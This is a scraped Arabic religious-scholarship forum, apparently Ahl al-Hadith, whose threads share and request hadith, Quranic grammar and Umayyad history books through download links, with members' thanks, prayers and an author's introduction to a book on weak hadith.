إخواتي بارك الله فيكم من صاحب كتاب أساس الباني في تراث الألباني وهل توجد وصلة لتحميله إذا ممكن
وجزاكم الله عنا كل خير<! -- / message -->(61/132)
حمل لأول مرة كتاب؛ ((ذكر أسماء التابعين ومن بعدهم ممن صحت روايته عن الثقات عند البخاري ومسلم)).
ـ[يونس1]ــــــــ[10 - 09 - 08, 12:05 ص]ـ
التصنيف الشجري
* علم الحديث الشريف
* علم الرجال
* الثقات
وقريبا إن شاء الله ملف كتب الثقات.
ـ[أبو المظفر السِّنَّاري]ــــــــ[10 - 09 - 08, 01:55 ص]ـ
جزاك الله خيرًا أخي وبارك الله فيك.
ـ[ميهوب بوعلام]ــــــــ[10 - 09 - 08, 04:03 ص]ـ
بارك الله فيك
ـ[الترزي]ــــــــ[15 - 09 - 08, 07:21 م]ـ
جزاك الله خيرًا أخي وبارك الله فيك
ـ[أبو أنس الأزهري]ــــــــ[10 - 04 - 09, 11:32 م]ـ
هل الكتاب موجود بصيغة Pdf ؟
ـ[محمد الحارثي]ــــــــ[07 - 11 - 09, 04:37 ص]ـ
هل الكتاب موجود بصيغة Pdf ؟
للرفع
ـ[ام سلمان الجزائرية]ــــــــ[07 - 11 - 09, 05:48 م]ـ
هل الكتاب موجود بصيغة Pdf ؟
للرفع ...
ـ[أحمد أبو تسنيم]ــــــــ[07 - 11 - 09, 06:48 م]ـ
أحسن الله إليك وغفر لوالديك(61/133)
ادخل على هذا الرابط لتجد كنوزا من الكتب (وورد)
ـ[راشد بن عبد الرحمن البداح]ــــــــ[10 - 09 - 08, 12:31 ص]ـ
ادخل على هذا الرابط لتجد كنوزا من الكتب (وورد):
http://3lsooot.com/book/
ـ[أبو الاشبال المكى]ــــــــ[10 - 09 - 08, 01:04 ص]ـ
جزاك الله خيرا وبارك فيك
ـ[راشد بن عبد الرحمن البداح]ــــــــ[10 - 09 - 08, 06:09 ص]ـ
أبا الأشبال:
وإياك فبارك
ـ[يونس1]ــــــــ[10 - 09 - 08, 07:05 ص]ـ
أخي؛ الرابط لا يعمل؟؟.
ـ[يونس1]ــــــــ[10 - 09 - 08, 07:33 ص]ـ
الحمد لله فتح.
ـ[إبراهيم أمين]ــــــــ[10 - 09 - 08, 11:00 ص]ـ
جزاك الله خيرا
الرابط لا يعمل
ـ[ابو العز النجدي]ــــــــ[10 - 09 - 08, 12:40 م]ـ
جزاك الله خيرا وأحسن اليك
ـ[راشد بن عبد الرحمن البداح]ــــــــ[10 - 09 - 08, 03:10 م]ـ
قد جربت الرابط بعدكم، فوجدته يعمل بلا تأخير
ـ[احمد محمود محمد]ــــــــ[07 - 12 - 08, 12:45 ص]ـ
جزاك الله خيرا
الرابط يعمل 100%
ـ[إبراهيم حسين]ــــــــ[08 - 12 - 08, 07:50 م]ـ
بارك الله فيك
ـ[أبو عبد الوهاب الجزائري]ــــــــ[09 - 12 - 08, 01:42 ص]ـ
بارك الله تعالى فيكم
الرابط شغال ولله الحمد
ـ[عاطف أحمد]ــــــــ[09 - 12 - 08, 08:31 ص]ـ
من دلّ على خير فله كأجر فاعله، جزاكم الله تعالى خيراً.
ـ[إحسان العتيبي]ــــــــ[09 - 12 - 08, 09:09 ص]ـ
جزاك الله خيرا
ـ[منذر ماجد ادريس]ــــــــ[09 - 12 - 08, 09:49 ص]ـ
بارك الله فيك
ـ[إكرام شقرون]ــــــــ[09 - 12 - 08, 11:21 م]ـ
جزاك الله خيرا، وسدّد خطاك.
ـ[مكتب الحسام للصف]ــــــــ[23 - 03 - 10, 08:19 م]ـ
بارك الله فيك يا شيخ راشد
ـ[محمد عامر السيد]ــــــــ[23 - 03 - 10, 08:41 م]ـ
جزاك الله خيراً أخي الكريم وبارك فيك
ـ[ابو ابراهيم امام العربي]ــــــــ[23 - 03 - 10, 10:06 م]ـ
أشكر لك أخي الكريم هذه الإحالة الجيده فقد أحلت على مليء جزاك الله خيرا وبارك فيكم
لكني اسأل ما مدى تأثير تحميل الكتب عا الجهاز؟
ـ[أبو عبد الله أحمد بن نبيل]ــــــــ[23 - 03 - 10, 10:24 م]ـ
جزاكم الله خيرا وبارك الله فيكم
ـ[محمود رمضان الطهطاوي]ــــــــ[24 - 03 - 10, 08:06 م]ـ
موقع متميز شكرا لك على هذه اللفتة الكريمة
ـ[أبو عدي القحطاني]ــــــــ[29 - 05 - 10, 03:56 م]ـ
أحسن الله إليك.
ـ[شبيب القحطاني]ــــــــ[29 - 05 - 10, 06:06 م]ـ
كتب الله لك الأجر
ـ[أبوزيد المغربي]ــــــــ[30 - 05 - 10, 02:31 ص]ـ
جزاك الله خيرا
ـ[كامل رمضان]ــــــــ[30 - 05 - 10, 07:10 م]ـ
جزاكم الله خيرا كثرا و سددكم و وفقكم
و أعرض جهدا متواضعا فإن لدي وقت لتحويل الكتب للشاملة
بارك الله فيكم
ـ[كامل رمضان]ــــــــ[30 - 05 - 10, 07:22 م]ـ
جزاكم الله خيرا ... و إنه لكنز
ـ[أبو مريم المصري]ــــــــ[07 - 06 - 10, 01:11 م]ـ
جزاك الله خيرا وأحسن إليك(61/134)
حملوا كتابي ((الخلاصة في أحكام الحديث الضعيف)) للشاملة 3 + pdf
ـ[علي 56]ــــــــ[10 - 09 - 08, 01:50 ص]ـ
((حقوق الطبع متاحة للهيئات العلمية والخيرية))
أيها الأحباب:
قد سبق لي أن الفت رسالة في هذا الموضوع منذ عشرين سنة بعنوان ((حكم العمل بالحديث الضعيف ووجوب العمل بالصحيح)) وقد راجعها شيخنا الشيخ عبد القادر الأرناؤوط رحمه الله،وتأخر طبعها بسبب سفري، ثم طبعت في حمص بمطبعة اليمامة بعد ذلك عام 1997 م
ثم نفدت نسخها الألف.
وطلب مني إعادة طبعها مرة أخرى، فأعدت النظر فيها هذا العام مرتين، وزدت فيها زيادات كثيرة.
والسُّنَّة- بشكلٍ عامٍ - تنقسمُ إلى متواترة وإلى أحادٍ، وإلى ضعيفةٍ، وإلى متروكة وموضوعةٍ
أمَّا السُّنَّة المتواترةُ-الحديث المتواتر- فلا خلاف بين أهل العلم في العمل بها، والاعتقاد بموجبها على تفصيلٍ في ذلك.
وأمَّا السُّنَّة الآحاديةُ (حديثُ الآحاد الصحيح) - وهيَ كلُّ خبرٍ صحيحٍ وحسَنٍ، لم يبلغ درجة التواترِ - فقد اتفق العلماء على وجوب العمل بها، ولكنهم اختلفوا في كونها تفيد القطع واليقين أم لا؟.
وأمَّا السُّنَّة الضعيفةُ (الحديثُ الضعيفُ) - وهي التي لم تبلغ درجة الصحيح ولا الحسن بشِقَّيهِ- فقد اضطربتِ الأقوالُ حولها ما بين محتجٍّ بها مطلقاً، وما بين مانعٍ، وما بين مفصِّل.
وأمَّا الموضوعةُ، فقد اتفقَ العلماءُ على منع العمل بموجبها، والمنع من روايتها إلا على سبيل التحذير منها.
وفي عصرنا هذا تباينت الآراء تبايناً عجيباً، فترى كثيرا من الوعاظ وطلاب العلم يروي ما هبَّ ودبَّ دون تثبتٍ من صحةِ ما يروي، بحجة أنَّ الحديث الضعيف يستحبُّ العملُ به في فضائلِ الأعمال - دون تمييز بين الضعيف ضعفاً يسيراً، والواهي والساقط والمتروك، بل والموضوع أيضاً -.
وهذا يدلُّ على عدم درايتهم بأقوالِ العلماء في هذا الموضوع الخطير.
وبالمقابل وجدَ قومٌ منَ المنسوبين للعلم يمنعونَ العمل بالحديث الضعيف مطلقا، دون تمييز بين الضعيف ضعفاً يسيراً، وبين الشديد الضعفِ، بل واعتبروه كالموضوع تماماً ......
هذا وقد قسمت كتابي للموضوعات التالية:
تمهيد حول تعريف الحديث المقبول وحكمه
المبحث الأولُ: تعريفُ الحديث الضعيف ...
المبحث الثاني: أقسامُ الضعيف وتحته مطالب ...
المبحث الثالث: أَوْهَى الأسانيد ......
المبحث الرابع: حكُم رواية الحديث الضعيف ضعفا يسيراً
المبحث الخامس: متى يقوَى الحديثُ الضعيفُ؟
المبحث السادس: حكمُ العملِ بالحديثِ الضعيف وهو أكبرها
المبحث السابع: أمثلةٌ للحديث الضعيف الذي يجوزُ العملُ به في الفضائل بالشروط
المبحث الثامن: سببُ الأخذ بالحديث الضعيف
المبحث التاسع: كيفَ يُروَى الحديثُ الضعيفُ؟ ...
المبحث العاشر: الجوابُ عن روايةِ بعض كبار الأئمةِ عنِ الضعفاءِ
المبحثُ الحادي عشر: مسائلُ تتعلقُ بالحديث الضعيف
المبحث الثاني عشر: مصادرُ الأحاديث الضعيفة والواهية والموضوعة والصحيحة
خاتمة فيها خلاصة هذا الموضوع
هذا وقد ذكرت كل مصدر في الهامش في الأغلب، والأحاديث قمت بتخريجها من مصادرها باختصار وحكمت على الأحاديث التي ليست في الصحيحين بما يناسبها جرحا وتعديلا.
ولم أسلك مسلك المتشددين، ولا مسلك المتساهلين في هذا الأمر، بل سرت وفق المنهج الوسط الذي سار عليه جمهور السلف والخلف.
وقد اضطررت للإسهاب في بعض القضايا لتجلية الأمر أو للرد على الشبهات المثارة حوله. فإن أصبت فمن الله الفضل والمنَّة، وإن أخطأت فمن تقصيري وأستغفر الله.
قال تعالى: {وَإِذَا جَاءهُمْ أَمْرٌ مِّنَ الأَمْنِ أَوِ الْخَوْفِ أَذَاعُواْ بِهِ وَلَوْ رَدُّوهُ إِلَى الرَّسُولِ وَإِلَى أُوْلِي الأَمْرِ مِنهُمْ لَعَلِمَهُ الَّذِينَ يَسْتَنبِطُونَهُ مِنهُمْ وَلَوْلاَ فَضْلُ اللّهِ عَلَيْكُمْ وَرَحْمَتُهُ لاَتَّبَعْتُمُ الشَّيْطَانَ إِلاَّ قَلِيلاً} (83) سورة النساء
وكتبه
الباحث في القرآن والسُّنَّة
علي بن نايف الشحود
24 ربيع الآخر 1429 هـ الموافق ل 30/ 4/208 م
ـ[أبو المظفر السِّنَّاري]ــــــــ[10 - 09 - 08, 01:53 ص]ـ
جزاك الله خيرًا أخي وبارك الله فيك.
ـ[أبو عبد الله السني]ــــــــ[10 - 09 - 08, 04:31 ص]ـ
جزاكم الله خيراً وبارك فيكم
جزاكم الله خيراً وبارك فيكم
جزاكم الله خيراً وبارك فيكم
جزاكم الله خيراً وبارك فيكم
جزاكم الله خيراً وبارك فيكم
ـ[علي 56]ــــــــ[10 - 09 - 08, 05:10 ص]ـ
وأنتم جزاكم الله خيرا ونفع بكم
ـ[محمد ابو شمس]ــــــــ[14 - 01 - 09, 03:10 م]ـ
جزاكم الله خيرا
ـ[علي 56]ــــــــ[14 - 01 - 09, 06:19 م]ـ
وانت أخي الحبيب
جزاك الله خيرا
ـ[أبو زيد الخير]ــــــــ[14 - 01 - 09, 09:36 م]ـ
جزاك الله خيراً
و نفع الله بك المسلمين
و أحسن الله إليك
و غفر الله لك، ولوالديك و لسائر المسلمين
ـ[البشير الزيتوني]ــــــــ[15 - 01 - 09, 02:35 ص]ـ
جزاكم الله كل خير، كل كتبك ممتازة، وقد قرأت كل الكتب التي سبق أن رفعتها في الملتقى، فكان فيها علما غزيرا مفيدا.
(يُتْبَع .. اقلب الصفحة)
(61/135)
ـ[عبد المغني عبد العزيز عمر]ــــــــ[15 - 01 - 09, 02:53 ص]ـ
بارك الله لك و فيك و جزيت خيرا , أريد أن ترسلني بريدا حتى يتيسر لي مراسلتك , لأني سأكتب رسالة الدكتورة في جامعة إندونيسا و أحتاج إلى المناقشة معك و الاقتراحات منك يا علي 56 شكرا
abdulmughni9@yahoo.com
ـ[محمد السيد ابراهيم]ــــــــ[15 - 01 - 09, 08:41 ص]ـ
جزاكم الله خيرا
ـ[أبو حسان السلفي]ــــــــ[13 - 03 - 09, 06:42 م]ـ
جزاكم الله خيرا شيخنا الفاضل
ـ[علي 56]ــــــــ[14 - 03 - 09, 02:16 ص]ـ
الإخوة الكرام
جزاكم الله خيرا
وبريدي لمن أراد مراسلتي في هذه الصفحة:
http://www.saaid.net/Doat/ali/index.htm
ـ[أبو حسان السلفي]ــــــــ[14 - 03 - 09, 02:29 م]ـ
الإخوة الكرام
جزاكم الله خيرا
وبريدي لمن أراد مراسلتي في هذه الصفحة:
http://www.saaid.net/Doat/ali/index.htm
باركم الله فيكم شيخنا تم إضافتكم في قائمة الإميلات
asderm1986@hotmail.com
ـ[علي 56]ــــــــ[17 - 03 - 09, 12:17 م]ـ
وأنتم أيها الأحبة بارك الله بكم
ـ[أبو حسان السلفي]ــــــــ[18 - 03 - 09, 09:30 م]ـ
شيخنا الفاضل علي حفظه الله
السلام عليكم و رحمة الله و بركاته
أرجوا منكم مراجعة أميلكم فقد أرسلت لكم رسالة مهمة
ـ[أبو سليمان العسيلي]ــــــــ[19 - 03 - 09, 12:58 ص]ـ
السلام عليكم و رحمة الله و بركاته
جزاكم الله كل خير
ونفع بكم و بعلمكم
ـ[علي 56]ــــــــ[19 - 03 - 09, 01:21 ص]ـ
ولكم مثل دعوتكم أيها الأحبة
ـ[ابوخالد الحنبلى]ــــــــ[02 - 04 - 10, 08:48 م]ـ
اعمالك جميلة ومنها تحقيقك على تيسير مصطلح الحديث
ـ[أبو عاصم البركاتي]ــــــــ[03 - 04 - 10, 05:17 م]ـ
جزاكم الله خيرا شيخنا الفاضل(61/136)
رمضانيات المساهم (10): كتاب علم إعراب القرآن تأصيل وبيان (لأول مرة) Pdf
ـ[المساهم]ــــــــ[10 - 09 - 08, 03:19 ص]ـ
الكتاب العاشر
علم إعراب القرآن
تأصيل وبيان
تأليف
د. يوسف بن خلف العيساوي
التحميل
archive (http://www.archive.org/details/e3rab) أو adrive (http://www.adrive.com/public/e771fadafcabdd6737f9b0e2785c188aabb27f2899212f070b bdc887bbfd6205.html)
بطاقة الكتاب
العنوان: علم إعراب القرآن تأصيل وبيان.
المؤلف: د. يوسف بن خلف العيساوي.
دار النشر: دار الصميعي.
سنة الطبع: الطبعة الأولى (1428هـ / 2007م).
نوع التغليف: مجلد (360 صفحة)
ـ[طه محمد عبدالرحمن]ــــــــ[10 - 09 - 08, 03:28 ص]ـ
جزاك الله خيرا.
ـ[أبو ذر محمد]ــــــــ[10 - 09 - 08, 03:33 ص]ـ
جزاك الله خيرا
ـ[هاني القزاز]ــــــــ[10 - 09 - 08, 03:34 ص]ـ
أبشر .. أبشر
فإن من فضل الله عليك حاجة الناس إليك
ـ[خالد البعلبكي]ــــــــ[10 - 09 - 08, 04:53 ص]ـ
عفر الله لك ولوالديك
ـ[إبراهيم أمين]ــــــــ[10 - 09 - 08, 10:35 ص]ـ
جزاك الله خيراً، وبارك فيك، وغفر الله لك ولوالديك ولنا ولجميع المسلمين.
ـ[سيد راضي علي]ــــــــ[10 - 09 - 08, 01:12 م]ـ
جزاك الله خيراً، وبارك فيك
ـ[أبو عبدالرحمن مصطفي]ــــــــ[10 - 09 - 08, 06:15 م]ـ
جزاك الله الجنة
ـ[النصري]ــــــــ[10 - 09 - 08, 08:47 م]ـ
السلا عليكم حعلك الله ذخرا لأهل العلم بارك الله فيك
ـ[منير الجزائري]ــــــــ[11 - 09 - 08, 11:12 ص]ـ
بارك الله فيك
ـ[أحمد أبو تسنيم]ــــــــ[11 - 09 - 08, 11:42 ص]ـ
أحسن الله إليك وغفر لوالديك(61/137)
ذكريات الطنطاوي - الجزء الخامس
ـ[محمد رافع]ــــــــ[10 - 09 - 08, 03:32 ص]ـ
متابعة لسلسلة ذكريات الطنطاوي , نتابع الجزء الخامس من ذكرياته:
رابط مباشر:
http://q8quraan.com/BOOKS/thekryat5.pdf
روابط الأجزاء السابقة:
الجزء الرابع:
http://q8quraan.com/BOOKS/thekryat4.pdf
الجزء الثالث:
http://q8quraan.com/BOOKS/thekryat3.pdf
الجزء الثاني:
http://q8quraan.com/BOOKS/thekryat2.pdf
الجزء الأول:
http://q8quraan.com/BOOKS/thekryat1.pdf
ـ[أبو رقية الذهبي]ــــــــ[10 - 09 - 08, 06:09 ص]ـ
جزاكم الله خيرًا
ـ[راشد بن عبد الرحمن البداح]ــــــــ[10 - 09 - 08, 06:23 ص]ـ
أشكرك؛ لكن الروابط لا تعمل!
ـ[عمر باعلوي]ــــــــ[10 - 09 - 08, 10:38 ص]ـ
جزاكم الله خيرًا, وغفر لكم و ادخلكم الجنة.
ـ[خليل إبراهيم]ــــــــ[10 - 09 - 08, 03:15 م]ـ
جعله الله في ميزان حسناتك
ـ[البلنصوري]ــــــــ[17 - 09 - 08, 03:38 م]ـ
جزاك الله خيرا وبارك في وقتك ونفع بك وننتظر ما تبقى من الكتاب
ـ[الديرزوري]ــــــــ[17 - 09 - 08, 08:30 م]ـ
جزاكم الله خيرا
ـ[أبو مهند المصري]ــــــــ[17 - 09 - 08, 08:56 م]ـ
متابعون
ـ[الطيماوي]ــــــــ[17 - 09 - 08, 09:17 م]ـ
واصل بارك الله فيك هذا الكنز العظيم ولا تنسانا من جريدة الرسالة للزيان.
ـ[أبوحاتم]ــــــــ[17 - 09 - 08, 10:33 م]ـ
جهد مبارك .. واصل وصلكم الله بعفوه وكرمه ..
ـ[عصام فرج محمد مدين]ــــــــ[18 - 09 - 08, 02:44 ص]ـ
جزاكم الله خيرا
ـ[أبو غالية]ــــــــ[12 - 10 - 08, 12:45 م]ـ
لماذا توقفت الذكريات؟؟؟؟؟
ـ[الطيماوي]ــــــــ[12 - 10 - 08, 01:44 م]ـ
واصل بارك الله فيك هذا الكنز العظيم ولا تنسانا من جريدة الرسالة للزيان.
ـ[محمد رافع]ــــــــ[12 - 10 - 08, 06:43 م]ـ
أنا أعتذر لتوقف الذكريات للشيخ علي الطنطاوي ومجلة الرسالة لأحمد حسن الزيات لظروف صحية صعبة وأنا مسافر للخارج لمدة شهرين للعلاج , نرجو منكم الدعاء.
ـ[محمود بن الشامي]ــــــــ[12 - 10 - 08, 06:51 م]ـ
اللهم رب الناس أذهب الباس واشف أنت الشافي لا شفاء إلا شفاؤك شفاء لا يغادر سقم
ـ[عمر باعلوي]ــــــــ[13 - 10 - 08, 12:22 م]ـ
السلام عليكم ورحمة الله
كتب الله لكم الاجر و رفع قدركم في الدارين.
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
ـ[أبو المعالي الأمزيلي]ــــــــ[13 - 10 - 08, 11:03 م]ـ
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
أسأل الله العظيم رب العرش العظيم أن يشفيك
ـ[محمد أبو الحسن]ــــــــ[14 - 10 - 08, 06:05 م]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته وأما بعد
رفع الله مقامك في الدنيا والآخرة
وجزاكم الله خير الجزاء(61/138)
حمل "شرح الدروس المهمة لعامة الامة" للعلامة الشيخ عبد الكريم الخضير
ـ[ماهر]ــــــــ[10 - 09 - 08, 05:48 ص]ـ
قام بتفريغها وتخريجها أخونا الشيخ أبو إسحاق الحياني وفقه الله.
ـ[راشد بن عبد الرحمن البداح]ــــــــ[10 - 09 - 08, 06:16 ص]ـ
شيخ ماهر:
شكراً لك وجزاك الله خيراً
ـ[أبو عبدالرحمن السبيعي]ــــــــ[10 - 09 - 08, 08:21 ص]ـ
جزاك الله خير وجعل ذلك في ميزان حسناتك يوم القيامة
ـ[أبو عبدالرحمن مصطفي]ــــــــ[10 - 09 - 08, 06:09 م]ـ
الشيخ ماهر .. جزاك الله خيراً
ـ[ماهر]ــــــــ[10 - 09 - 08, 07:16 م]ـ
وأنتم جزاكم الله كل خير، ونفع بكم وزادكم من فضله. وأسأل الله أن يستعملنا جميعاً في طاعته.
ـ[أبو يوسف العامري]ــــــــ[11 - 09 - 08, 05:39 م]ـ
جزاكم الله خيراً
ـ[القرشي]ــــــــ[12 - 09 - 08, 03:45 ص]ـ
نتمنى أن توضع جميع كتب الشيخ عبد الكريم الخضير في موضع واحد لتعم الفائدة
ـ[شبيب القحطاني]ــــــــ[12 - 09 - 08, 03:01 م]ـ
جزيتم خيرا
ـ[احمد بن الحنبلي]ــــــــ[18 - 09 - 08, 08:13 ص]ـ
بارك الله فيكم شيخنا الكريم.
الموقع الرسمي لفضيلة الشيخ عبدالكريم الخضير
www.khudheir.com
ـ[ماهر]ــــــــ[12 - 10 - 08, 07:08 ص]ـ
وأنتم فيكم بارك الله، ونفع بكم وزادكم من فضله.
ـ[ماهر]ــــــــ[31 - 10 - 08, 06:19 ص]ـ
حمل هذه النسخة ففيها تعديلات وزيادات وإفادات، وفق الله أخانا أبا إسحاق لكل خير ونفع به
ـ[أحمد محمد بسيوني]ــــــــ[31 - 10 - 08, 03:24 م]ـ
جزاكم الله خيرا، ونفع الله بكم
ـ[احمد بن الحنبلي]ــــــــ[05 - 11 - 08, 02:35 ص]ـ
نفع الله بالجميع ..
ـ[ماهر]ــــــــ[29 - 11 - 08, 09:33 م]ـ
وأنتم فيكم بارك الله وستر عليكم وزادكم من فضله
أسأل الله أن يحفظكم وينفع بكم.
وأسأله تعالى أن يحسن عاقبتنا وإياكم في الأمور كلها وأن يجيرنا من خزي الدنيا وعذاب الآخرة.
ـ[منير الجزائري]ــــــــ[02 - 12 - 08, 03:07 ص]ـ
بارك الله فيكم وفي جهودكم
ـ[ماهر]ــــــــ[11 - 12 - 08, 07:04 م]ـ
آمين، وأنتم جزاكم الله خيراً، ونفع الله بكم، ورفع قدركم في الدارين.
ـ[حارث ماهر ياسين]ــــــــ[05 - 10 - 09, 09:18 م]ـ
الحقيقة أشرطة الشيخ عبد الكريم، لا يستغنى عنها.
ـ[احمد بن الحنبلي]ــــــــ[06 - 10 - 09, 08:15 ص]ـ
نفع الله بالجميع.(61/139)
حمل هذين الكتابين للشاملة+وورد لتعرف الأساليب الراقية في مخاطبة أهل العلم.
ـ[راشد بن عبد الرحمن البداح]ــــــــ[10 - 09 - 08, 03:31 م]ـ
إليكم كتابَين جليلين نفيسين في بابهما للشيخ د. محمد بن إبراهيم الحمد:
الرسائل المتبادلة بن الشيخ ابن باز والعلماء
الصداقة بين العلماء، نماذج تطبيقية معاصرة
وكلا الكتابين بصيغتين: للشاملة و (وورد) على هذا الرابط:
<! -- / message --><!-- attachments -->
http://www.ahlalhdeeth.com/vb/showthread.php?p=894247#post894247 (http://www.ahlalhdeeth.com/vb/showthread.php?p=894247#post894247)
ـ[أحمد أبو تسنيم]ــــــــ[11 - 09 - 08, 12:05 م]ـ
أحسن الله إليك وغفر لوالديك(61/140)
أين أجد عارضة الأحوذي للشاملة
ـ[إسماعيل سعد]ــــــــ[10 - 09 - 08, 05:16 م]ـ
السلام عليكم
سؤالي عن كتاب عارضة الأحوذي للشاملة هل هو موجود أم لا؟ أو على الأقل وورد.
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 02:02 ص]ـ
ألا من مجيب؟؟؟؟؟؟؟؟؟؟؟؟؟؟
ـ[إسماعيل سعد]ــــــــ[11 - 09 - 08, 02:02 ص]ـ
أين أنت يا طيماوي أنا متأكد أن عندك حل ........
ـ[أبو عبد الرحمن الطاهر]ــــــــ[11 - 09 - 08, 10:35 ص]ـ
يا ليت لها رجال .............
ـ[بو إبراهيم الذهبي]ــــــــ[17 - 11 - 08, 05:07 م]ـ
يتجدد النداء للطيماوي، ومن معه من أصحاب الهمم.
في انتظار العارضة.
ـ[المساكني التونسي]ــــــــ[01 - 10 - 09, 03:05 م]ـ
بالفعل شرح الكرماني و عارضة الاحوذي نتمنى ان ينضما لعائلة الشاملة
قال شيخنا ابو محمد حاتم الشريف العوني العوني كما في شرحه للرسالة المستطرفة
شرح الكرماني على البخاري من اقوى الشروح الفقهية للصحيح وهو عمدة الحافظ بن حجر في كثير المباحث الفقهية والكرماني فقيه من الدرجة الاولى لكن في الحديث ضعيف ضعف واضح وبن حجر في بعض الاحيان يوجه النقد له في كلامه حول المسائل الحديثية لخطأه الواضح اما في الفقه فالحافظ بن حجر عالة عليه في كثير من القضايا الفقهية
هذا ماقاله شيخنا والعهد بما قال قريب ونقلت هذا من حفظي ارجو ان اكون قد نقلت بالمعنى الصحيح(61/141)
استفسار عن كتاب: دفع التمادي فيمن تكلم فيه من رجال البخاري
ـ[الطيماوي]ــــــــ[10 - 09 - 08, 09:45 م]ـ
استفسار عن كتاب: دفع التمادي فيمن تكلم فيه من رجال البخاري
هل له نسخة وورد أو نسخة مصورة
وإذا كان الكتاب يباع في المكتبات ففي أي مكتبة وما هي دار النشر وسنة النشر
وما هو اسم المؤلف وبارك الله فيكم.
ـ[يونس1]ــــــــ[11 - 09 - 08, 11:42 م]ـ
لم أسمع عن مثل هذا الكتاب؛ برجاء إعطاء بيانات وافية.
ـ[الطيماوي]ــــــــ[12 - 09 - 08, 04:41 م]ـ
هذا كل ما أعلمه عن الكتاب ولو كنت أعلم أكثر لذكرت
دفع التمادي فيمن تكلم فيه من رجال البخاري
ـ[يونس1]ــــــــ[14 - 09 - 08, 12:46 ص]ـ
انتظر حتى يأتي الفرج من الله
ـ[يونس1]ــــــــ[02 - 11 - 08, 06:13 م]ـ
هل أحد من الإخوة يستطيع أن يدلي ببيانات عن ذلك الكتاب.
وله دعة بظاهلر الغيب.
ـ[محمد الاسلام]ــــــــ[02 - 11 - 08, 07:40 م]ـ
اخواني الكرام
إسم الكتاب الصحيح رفع التماري فيمن تكلم فيه من رجال البخاري لأبي بكر محمد إسماعيل بن خلفون الأندلسي
ولا اعلم عن طبعاته شيء إنما وجدت الزركلي اشار اليه في ترجمة ابن خلفون
ـ[يونس1]ــــــــ[03 - 11 - 08, 05:02 م]ـ
بارك الله فيك.
ودعوت لك بظاهر الغيب فعلا.
ولكن نطمع في المزيد الهم سهل لنا الأمر.(61/142)
طلب مساعدة عاجلة بخصوص الكتب التالية
ـ[الطيماوي]ــــــــ[10 - 09 - 08, 11:00 م]ـ
بعث لي أحد الاخوة الكرام ما يلي:
أحيطكم علماً بأنني في مسيس الحاجة إلى بعض المراجع التي تتعلق بتاريخ الدولة الأموية، فضلاً عن المصادر أو المراجع التي تتحدث عن شخصية المؤرخ خليفة بن خياط (ت: 240 هـ)، والتي لن يستقيم بحثي الأكاديمي بدونها، وهي مرتبة حسب الأهمية، والتي من أهمها:<? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
خليفة بن خياط في تاريخه وطبقاته (د. حسين عاصي)
منهج خليفة بن خياط في كتاب الطبقات ومقارنة مع ابن سعد (د. طه عفان الحميدي) < o:p></o:p>
مرويات خليفة بن خياط في الجامع الصحيح للبخاري (د. مجيد الخليفة)
التاريخ والمؤرخون العرب (السيد عبد العزيز سالم)
تاريخ الدولة العربية (السيد عبد العزيز سالم)
تاريخ الدولة العربية (حمدي عبد المنعم حسين)
تاريخ الدولة العربية (عبد الرزاق الأنباري)
تاريخ الدولة الأموية (محمد سهيل طقوس)
تاريخ الدولة الأموية (محمود السيد) < o:p></o:p>
الدولة الأموية (عمر العقيلي)
التاريخ السياسي للدولة الأموية (عبد المنعم ماجد)
الخلافة الراشدة والدولة الأموية من فتح الباري (يحيى بن إبراهيم اليحيى)
الوثائق السياسية والإدارية العائدة للعصر الأموي (محمد ماهر حمودة)
الأمويون والخلافة (حسين عطوان)
الأمويون بين الشرق والغرب (محمد السيد الوكيل)
شاكراً لكم حسن تعاونكم معي< o:p></o:p>
راجياً من الله عز وجل أن يجزيكم عني كل خير وعافية< o:p></o:p>
فأتمنى على من عنده أي كتاب منها ما يلي:
1 - إن كانت عنده نسخة مصورة أن يزودني بها، ولو أراد كتابا مصورا في مقابلها فأنا موافق.
2 - إن كان الكتاب عنده ورقي فليصوره عند أي مكان أو أي شخص ونفقات التصوير سأتكفل بها.
أو أصور له في المقابل كتابا يريده من ضمن كتب الجامعة الإسلامية بغزة
http://www.iugaza.edu.ps/ara/library/search_Simple.asp
3- من يعلم عن أي كتاب يباع عن طريق المكتبات الالكترونية في النت فليخبرنا برابط الكتاب للمسارعة في شراءه وأتمنى أن تكون تلك المكتبات مكتبات موثوقة من جهة البيع والشراء.
ـ[الطيماوي]ــــــــ[10 - 09 - 08, 11:11 م]ـ
لو أحد الاخوة لديه أي كتاب من هذه الكتب ورق ويريد بيعه فليتواصل معي على بريدي أو الخاص
خليفة بن خياط في تاريخه وطبقاته (د. حسين عاصي)
منهج خليفة بن خياط في كتاب الطبقات ومقارنة مع ابن سعد (د. طه عفان الحميدي)
مرويات خليفة بن خياط في الجامع الصحيح للبخاري (د. مجيد الخليفة)
ـ[أبو غالية]ــــــــ[10 - 09 - 08, 11:45 م]ـ
هذا هو الكتاب الوحيد الذي لدي:
الخلافة الراشدة والدولة الأموية من فتح الباري (يحيى بن إبراهيم اليحيى)
http://www.up.iraqmaster.net/up1/35183_427.rar (http://www.up.iraqmaster.net/up1/35183_427.rar)
ـ[الطيماوي]ــــــــ[11 - 09 - 08, 12:20 ص]ـ
جزاك الله خيرا
ـ[عبدالرحمن نور الدين]ــــــــ[11 - 09 - 08, 01:55 ص]ـ
لعل ما وجدته ليس من الكتب المشار إليها , ولكن
ما استطيع أن أقدمه هو "تاريخ خليفة بن خياط" نفسه تحقيق د. أكرم ضياء العمري
http://www.archive.org/details/tatikh_khalefa_pdfbook_ara
والدكتور العمري حقق له كتاب التاريخ وكتاب الطبقات.
ففي المقدمة تكلم عنه بشئ من التوسع.
ـ[عبدالرحمن نور الدين]ــــــــ[11 - 09 - 08, 02:07 ص]ـ
